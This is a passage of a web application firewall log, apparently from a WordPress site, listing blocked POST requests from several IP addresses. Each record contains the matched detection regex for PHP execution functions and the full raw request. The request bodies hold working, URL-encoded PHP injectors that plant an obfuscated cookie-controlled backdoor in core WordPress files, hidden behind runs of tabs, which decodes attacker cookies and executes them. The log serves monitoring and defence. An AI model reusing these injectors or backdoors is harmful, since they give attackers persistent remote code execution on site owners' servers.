ew_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:3259\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoHLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nmF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:09","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3282\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:54:11","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-length:3259\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHxpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nRG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:14","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ly:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-length:4304\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGUxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nLy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
